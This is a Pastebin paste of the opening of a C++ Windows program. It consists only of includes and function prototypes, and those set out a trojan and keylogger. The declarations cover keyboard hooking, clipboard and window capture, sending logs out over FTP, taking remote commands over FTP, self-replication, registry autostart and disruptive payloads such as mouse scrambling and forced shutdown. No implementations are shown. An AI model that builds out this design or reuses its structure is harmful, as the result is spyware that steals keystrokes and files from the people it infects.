Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.98 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include <WinDef.h>
  5. #include <shlobj.h>
  6. #include <time.h>
  7. #include <wininet.h>
  8. #include <strsafe.h>
  9. #include <string.h>
  10. #include <MMSystem.h>
  11. #pragma comment (lib, "winmm")
  12. #pragma comment (lib, "wininet")
  13. #pragma comment (lib, "User32")
  14. #pragma comment (lib, "Kernel32")
  15. //HINTERNET* arrayP
  16. int openFtpSession(HINTERNET *ftpSendArra);
  17. //main
  18. int checkFileLock(void);
  19. int StartReplication(void);
  20. DWORD WINAPI KeyLogThread( LPVOID lpParam);
  21. DWORD WINAPI GetDirectoryThread( LPVOID lpParam);
  22. DWORD WINAPI StartTrojanThread( LPVOID lpParam);
  23. DWORD WINAPI CopySelfAutoStartThread( LPVOID lpParam);
  24. // FileHiererachy
  25. void SearchForDirectorysRecursive(char* currentPath);
  26. int BuildArray(char *path);
  27. void GetHomeDrive(char* desPath);
  28. int CanWriteDir(char *path);
  29. void AppendToStorageArray(char* currentPath, char* storagePath, char *fileName);
  30. //key logger
  31. LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
  32. void CodeToAscii(UINT code, BYTE *lKeyBoard);
  33. void GetWindow(void);
  34. void GetClipboardText();
  35. int SendFTP(char *path);
  36. //tojan
  37. int openFtpSession(HINTERNET *ftpSendArray);
  38. void checkFtp(void);
  39. char *GetTrojanCommandsRead(HINTERNET *ftpOpenArray);
  40. void ParseCommands(char* commands);
  41. void ShutdownComputer(void);
  42. void ScrampleMouse(int moveMouseTimes);
  43. void RandomSystemBeep(int beepAmount);
  44. void SwapMouseButtonFunc(bool flag);
  45. void OpenCloseCD(int times, int speed);
  46. void CloseHandles(HINTERNET* ftpOpenArray);
  47. void GetRunTime(char *commandsReadRead, char *intOfCommand, int indexInArray);
  48. //Dynamic
  49. int randomGen(int amountOfDir);
  50. char *GetRandomDirectory();
  51. // Add to Reg
  52. int addToReg(char* path);
  53. using namespace std;
  54. //Trojan Threads
  55. DWORD WINAPI ScrampleMouseThread( LPVOID lpParam);
  56. DWORD WINAPI ShutDownThread( LPVOID lpParam);
  57. DWORD WINAPI OpenCDDriveThread( LPVOID lpParam);
  58. DWORD WINAPI SystemBeepThread( LPVOID lpParam);
  59. DWORD WINAPI SwapMouseThread( LPVOID lpParam);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement